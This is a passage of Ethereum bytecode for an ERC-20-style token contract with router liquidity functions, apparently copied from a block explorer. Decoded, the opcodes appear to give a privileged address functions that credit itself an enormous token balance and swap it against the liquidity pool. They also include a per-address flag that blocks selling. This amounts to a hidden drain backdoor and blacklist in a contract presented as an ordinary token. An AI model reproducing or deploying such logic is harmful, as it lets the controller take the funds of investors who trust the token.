69736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b60006142bb6022836130c5565b91506142c68261425f565b604082019050919050565b600060208201905081810360008301526142ea816142ae565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006143276020836130c5565b9150614332826142f1565b602082019050919050565b600060208201905081810360008301526143568161431a565b9050919050565b7f416674657220746869732074786e20757365722077696c6c206578636565642060008201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b60006143b9602a836130c5565b91506143c48261435d565b604082019050919050565b600060208201905081810360008301526143e8816143ac565b9050919050565b7f54786e20416d6f756e7420746f6f206869676821000000000000000000000000600082015250565b60006144256014836130c5565b9150614430826143ef565b602082019050919050565b6000602082019050818103600083015261445481614418565b9050919050565b6000614466826131de565b9150614471836131de565b925082820261447f816131de565b91508282048414831517614496576144956135d0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144d7826131de565b91506144e2836131de565b9250826144f2576144f161449d565b5b82820490509291505056fea26469706673582212201cc5fe547e7b0b621e337f04f07f1c672c28147f7bf0db5e85b0c4bd34ff503564736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Deployed Bytecode

0x6080604052600436106102465760003560e01c8063715018a611610139578063b49f93f7116100b6578063e4440a861161007a578063e4440a86146108a6578063ecbe5a2d146108d1578063edd8b64a1461090e578063f1fee6a214610937578063f2fde38b14610960578063f6d1dfe11461098957610246565b8063b49f93f7146107c1578063b5c72e1a146107ea578063d445d19e14610827578063dd62ed3e1461083e578063e1370dd31461087b57610246565b806399b102b5116100fd57806399b102b5146106b6578063a07fc5a2146106f3578063a457c2d71461071e578063a9059cbb1461075b578063b179ce401461079857610246565b8063715018a6146105e357806385ecafd7146105fa5780638da5cb5b146106375780638dd0f4111461066257806395d89b411461068b57610246565b8063313ce567116101c75780635337cc991161018b5780635337cc99146104da5780635342acb4146105035780636db79437146105405780636dd3d39f1461056957806370a08231146105a657610246565b8063313ce567146103f557806335d1627414610420578063395093511461045d578063499b3ea91461049a5780634d474d42146104b157610246565b80631c499ab01161020e5780631c499ab0146103115780631f6b29f71461033a578063203e727e1461036357806323b872dd1461038c5780632df8bca9146103c957610246565b806306fdde031461024b578063095ea7b3146102765780630bc488c5146102b35780630cdd8436146102bd57806318160ddd146102e6575b600080fd5b34801561025757600080fd5b506102606109b4565b60405161026d919061314a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613214565b610a46565b6040516102aa919061326f565b60405180910390f35b6102bb610a62565b005b3480156102c957600080fd5b506102e460048036038101906102df91906132c3565b610b9a565b005b3480156102f257600080fd5b506102fb610cfc565b6040516103089190613312565b60405180910390f35b34801561031d57600080fd5b506103386004803603810190610333919061332d565b610d06565b005b34801561034657600080fd5b50610361600480360381019061035c9190613386565b610d3c565b005b34801561036f57600080fd5b5061038a6004803603810190610385919061332d565b610e55565b005b34801561039857600080fd5b506103b360048036038101906103ae91906133c6565b610e8b565b6040516103c0919061326f565b60405180910390f35b3480156103d557600080fd5b506103de610eb3565b6040516103ec929190613419565b60405180910390f35b34801561040157600080fd5b5061040a610ec4565b6040516104179190613451565b60405180910390f35b34801561042c57600080fd5b506104476004803603810190610442919061346c565b610edb565b6040516104549190613312565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190613214565b611070565b604051610491919061326f565b60405180910390f35b3480156104a657600080fd5b506104af6110a0565b005b3480156104bd57600080fd5b506104d860048036038101906104d3919061346c565b611392565b005b3480156104e657600080fd5b5061050160048036038101906104fc9190613386565b611402565b005b34801561050f57600080fd5b5061052a6004803603810190610525919061346c565b61151b565b604051610537919061326f565b60405180910390f35b34801561054c57600080fd5b5061056760048036038101906105629190613499565b611571565b005b34801561057557600080fd5b50610590600480360381019061058b919061346c565b611600565b60405161059d919061326f565b60405180910390f35b3480156105b257600080fd5b506105cd60048036038101906105c8919061346c565b611656565b6040516105da9190613312565b60405180910390f35b3480156105ef57600080fd5b506105f861169f565b005b34801561060657600080fd5b50610621600480360381019061061c919061346c565b6116b3565b60405161062e919061326f565b60405180910390f35b34801561064357600080fd5b5061064c6116d3565b60405161065991906134e8565b60405180910390f35b34801561066e57600080fd5b5061068960048036038101906106849190613386565b6116fc565b005b34801561069757600080fd5b506106a0611815565b6040516106ad919061314a565b60405180910390f35b3480156106c257600080fd5b506106dd60048036038101906106d8919061346c565b6118a7565b6040516106ea919061326f565b60405180910390f35b3480156106ff57600080fd5b506107086118fd565b604051610715919061326f565b60405180910390f35b34801561072a57600080fd5b5061074560048036038101906107409190613214565b611914565b604051610752919061326f565b60405180910390f35b34801561076757600080fd5b50610782600480360381019061077d9190613214565b611984565b60405161078f919061326f565b60405180910390f35b3480156107a457600080fd5b506107bf60048036038101906107ba9190613386565b6119a0565b005b3480156107cd57600080fd5b506107e860048036038101906107e39190613503565b611ab9565b005b3480156107f657600080fd5b50610811600480360381019061080c919061346c565b611b02565b60405161081e919061326f565b60405180910390f35b34801561083357600080fd5b5061083c611b6b565b005b34801561084a57600080fd5b5061086560048036038101906108609190613530565b611ba1565b6040516108729190613312565b60405180910390f35b34801561088757600080fd5b50610890611c28565b60405161089d9190613312565b60405180910390f35b3480156108b257600080fd5b506108bb611c32565b6040516108c891906134e8565b60405180910390f35b3480156108dd57600080fd5b506108f860048036038101906108f3919061346c565b611c58565b604051610905919061326f565b60405180910390f35b34801561091a57600080fd5b506109356004803603810190610930919061346c565b611cae565b005b34801561094357600080fd5b5061095e60048036038101906109599190613530565b611d1e565b005b34801561096c57600080fd5b506109876004803603810190610982919061346c565b611f72565b005b34801561099557600080fd5b5061099e611ff5565b6040516109ab9190613312565b60405180910390f35b6060600880546109c39061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef9061359f565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b600080339050610a57818585611fff565b600191505092915050565b610a8e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b610aa030610a9b33611656565b611984565b50610ad630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ad130611656565b611fff565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610b1f30611656565b600080336104b042610b3191906135ff565b6040518863ffffffff1660e01b8152600401610b5296959493929190613678565b60606040518083038185885af1158015610b70573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b9591906136ee565b505050565b610bc633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60028160ff1610610c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c039061378d565b60405180910390fd5b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c97906137f9565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610d3233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600f8190555050565b610d6833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df1906137f9565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e8133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8060118190555050565b600080339050610e9c85828561223a565b610ea78585856122c6565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610f4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f71919061389b565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190613903565b73ffffffffffffffffffffffffffffffffffffffff161461105157816dffffffffffffffffffffffffffff16611063565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506110958185856110868589611ba1565b61109091906135ff565b611fff565b600191505092915050565b6110cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60006110d730610edb565b90506000816dffffffffffffffffffffffffffff80166110f79190613930565b9050611101612ca4565b6111133061110e33611656565b611984565b5061115130600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611fff565b6060600267ffffffffffffffff81111561116e5761116d613964565b5b60405190808252806020026020018201604052801561119c5781602001602082028036833780820191505090505b50905030816000815181106111b4576111b3613993565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127f9190613903565b8160018151811061129357611292613993565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b04261132391906135ff565b6040518663ffffffff1660e01b8152600401611343959493929190613a80565b6000604051808303816000875af1158015611362573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061138b9190613bf3565b5050505050565b6113be33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61142e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b7906137f9565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61159d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b606482111580156115af575060648111155b6115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e590613cae565b60405180910390fd5b81600b8190555080600c819055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116a7612d0c565b6116b16000612d83565b565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61172833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b1906137f9565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6060600980546118249061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546118509061359f565b801561189d5780601f106118725761010080835404028352916020019161189d565b820191906000526020600020905b81548152906001019060200180831161188057829003601f168201915b5050505050905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601360009054906101000a900460ff16905090565b60008033905060006119268286611ba1565b90508381101561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290613d40565b60405180910390fd5b6119788286868403611fff565b60019250505092915050565b6000803390506119958185856122c6565b600191505092915050565b6119cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a55906137f9565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611ae533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80601360006101000a81548160ff02191690831515021790555050565b600080601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611b61576001611b64565b60005b9050919050565b611b9733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b611b9f612ca4565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600f54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611cda33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611d4a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611de15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb39190613903565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401611eed929190613d60565b602060405180830381865afa158015611f0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2e9190613903565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611f7a612d0c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe090613dfb565b60405180910390fd5b611ff281612d83565b50565b6000601154905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361206e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206590613e8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613f1f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121bb9190613312565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222d90613fb1565b60405180910390fd5b5050565b60006122468484611ba1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146122c057818110156122b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a99061401d565b60405180910390fd5b6122bf8484848403611fff565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232c906140af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239b90614141565b60405180910390fd5b6123ad83611b02565b156123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e4906141ad565b60405180910390fd5b6123f8838383612e47565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561247f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124769061423f565b60405180910390fd5b601360009054906101000a900460ff16156125d05761249d84612fe1565b1561253357601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661252e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612525906142d1565b60405180910390fd5b6125cf565b61253c83612fe1565b156125ce57601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166125cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c4906142d1565b60405180910390fd5b5b5b5b6125d98461151b565b1580156125ec57506125ea8361151b565b155b15612b88576125fa84612fe1565b1561283457600061260d83600b54613093565b9050828261261b9190613930565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361266a9190613930565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126b891906135ff565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661271a9190613930565b6040516127279190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127a091906135ff565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128269190613312565b60405180910390a350612b83565b61283d83612fe1565b15612a7757600061285083600c54613093565b9050828261285e9190613930565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836128ad9190613930565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128fb91906135ff565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661295d9190613930565b60405161296a9190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129e391906135ff565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a699190613312565b60405180910390a350612b82565b8181612a839190613930565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b1591906135ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b799190613312565b60405180910390a35b5b612c93565b8181612b949190613930565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c2691906135ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c8a9190613312565b60405180910390a35b612c9e8484846130b5565b50505050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d0391906135ff565b92505081905550565b3373ffffffffffffffffffffffffffffffffffffffff16612d2b6116d3565b73ffffffffffffffffffffffffffffffffffffffff1614612d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d789061433d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600f5414158015612e605750612e5e82612fe1565b155b8015612e725750612e7082611600565b155b8015612e845750612e8283611600565b155b15612ee257600f5481612e9684611656565b612ea091906135ff565b1115612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed8906143cf565b60405180910390fd5b5b600060115414612fdc57601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612f905750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fdb57601154811115612fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fd19061443b565b60405180910390fd5b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061308c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846130a3919061445b565b6130ad91906144cc565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130f45780820151818401526020810190506130d9565b60008484015250505050565b6000601f19601f8301169050919050565b600061311c826130ba565b61312681856130c5565b93506131368185602086016130d6565b61313f81613100565b840191505092915050565b600060208201905081810360008301526131648184613111565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006131ab82613180565b9050919050565b6131bb816131a0565b81146131c657600080fd5b50565b6000813590506131d8816131b2565b92915050565b6000819050919050565b6131f1816131de565b81146131fc57600080fd5b50565b60008135905061320e816131e8565b92915050565b6000806040838503121561322b5761322a613176565b5b6000613239858286016131c9565b925050602061324a858286016131ff565b9150509250929050565b60008115159050919050565b61326981613254565b82525050565b60006020820190506132846000830184613260565b92915050565b600060ff82169050919050565b6132a08161328a565b81146132ab57600080fd5b50565b6000813590506132bd81613297565b92915050565b600080604083850312156132da576132d9613176565b5b60006132e8858286016131c9565b92505060206132f9858286016132ae565b9150509250929050565b61330c816131de565b82525050565b60006020820190506133276000830184613303565b92915050565b60006020828403121561334357613342613176565b5b6000613351848285016131ff565b91505092915050565b61336381613254565b811461336e57600080fd5b50565b6000813590506133808161335a565b92915050565b6000806040838503121561339d5761339c613176565b5b60006133ab858286016131c9565b92505060206133bc85828601613371565b9150509250929050565b6000806000606084860312156133df576133de613176565b5b60006133ed868287016131c9565b93505060206133fe868287016131c9565b925050604061340f868287016131ff565b9150509250925092565b600060408201905061342e6000830185613303565b61343b6020830184613303565b9392505050565b61344b8161328a565b82525050565b60006020820190506134666000830184613442565b92915050565b60006020828403121561348257613481613176565b5b6000613490848285016131c9565b91505092915050565b600080604083850312156134b0576134af613176565b5b60006134be858286016131ff565b92505060206134cf858286016131ff565b9150509250929050565b6134e2816131a0565b82525050565b60006020820190506134fd60008301846134d9565b92915050565b60006020828403121561351957613518613176565b5b600061352784828501613371565b91505092915050565b6000806040838503121561354757613546613176565b5b6000613555858286016131c9565b9250506020613566858286016131c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135b757607f821691505b6020821081036135ca576135c9613570565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061360a826131de565b9150613615836131de565b925082820190508082111561362d5761362c6135d0565b5b92915050565b6000819050919050565b6000819050919050565b600061366261365d61365884613633565b61363d565b6131de565b9050919050565b61367281613647565b82525050565b600060c08201905061368d60008301896134d9565b61369a6020830188613303565b6136a76040830187613669565b6136b46060830186613669565b6136c160808301856134d9565b6136ce60a0830184613303565b979650505050505050565b6000815190506136e8816131e8565b92915050565b60008060006060848603121561370757613706613176565b5b6000613715868287016136d9565b9350506020613726868287016136d9565b9250506040613737868287016136d9565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b60006137776017836130c5565b915061378282613741565b602082019050919050565b600060208201905081810360008301526137a68161376a565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006137e3601d836130c5565b91506137ee826137ad565b602082019050919050565b60006020820190508181036000830152613812816137d6565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61383c81613819565b811461384757600080fd5b50565b60008151905061385981613833565b92915050565b600063ffffffff82169050919050565b6138788161385f565b811461388357600080fd5b50565b6000815190506138958161386f565b92915050565b6000806000606084860312156138b4576138b3613176565b5b60006138c28682870161384a565b93505060206138d38682870161384a565b92505060406138e486828701613886565b9150509250925092565b6000815190506138fd816131b2565b92915050565b60006020828403121561391957613918613176565b5b6000613927848285016138ee565b91505092915050565b600061393b826131de565b9150613946836131de565b925082820390508181111561395e5761395d6135d0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139f7816131a0565b82525050565b6000613a0983836139ee565b60208301905092915050565b6000602082019050919050565b6000613a2d826139c2565b613a3781856139cd565b9350613a42836139de565b8060005b83811015613a73578151613a5a88826139fd565b9750613a6583613a15565b925050600181019050613a46565b5085935050505092915050565b600060a082019050613a956000830188613303565b613aa26020830187613669565b8181036040830152613ab48186613a22565b9050613ac360608301856134d9565b613ad06080830184613303565b9695505050505050565b600080fd5b613ae882613100565b810181811067ffffffffffffffff82111715613b0757613b06613964565b5b80604052505050565b6000613b1a61316c565b9050613b268282613adf565b919050565b600067ffffffffffffffff821115613b4657613b45613964565b5b602082029050602081019050919050565b600080fd5b6000613b6f613b6a84613b2b565b613b10565b90508083825260208201905060208402830185811115613b9257613b91613b57565b5b835b81811015613bbb5780613ba788826136d9565b845260208401935050602081019050613b94565b5050509392505050565b600082601f830112613bda57613bd9613ada565b5b8151613bea848260208601613b5c565b91505092915050565b600060208284031215613c0957613c08613176565b5b600082015167ffffffffffffffff811115613c2757613c2661317b565b5b613c3384828501613bc5565b91505092915050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b6000613c986024836130c5565b9150613ca382613c3c565b604082019050919050565b60006020820190508181036000830152613cc781613c8b565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613d2a6025836130c5565b9150613d3582613cce565b604082019050919050565b60006020820190508181036000830152613d5981613d1d565b9050919050565b6000604082019050613d7560008301856134d9565b613d8260208301846134d9565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613de56026836130c5565b9150613df082613d89565b604082019050919050565b60006020820190508181036000830152613e1481613dd8565b9050919050565b7f45524332303a2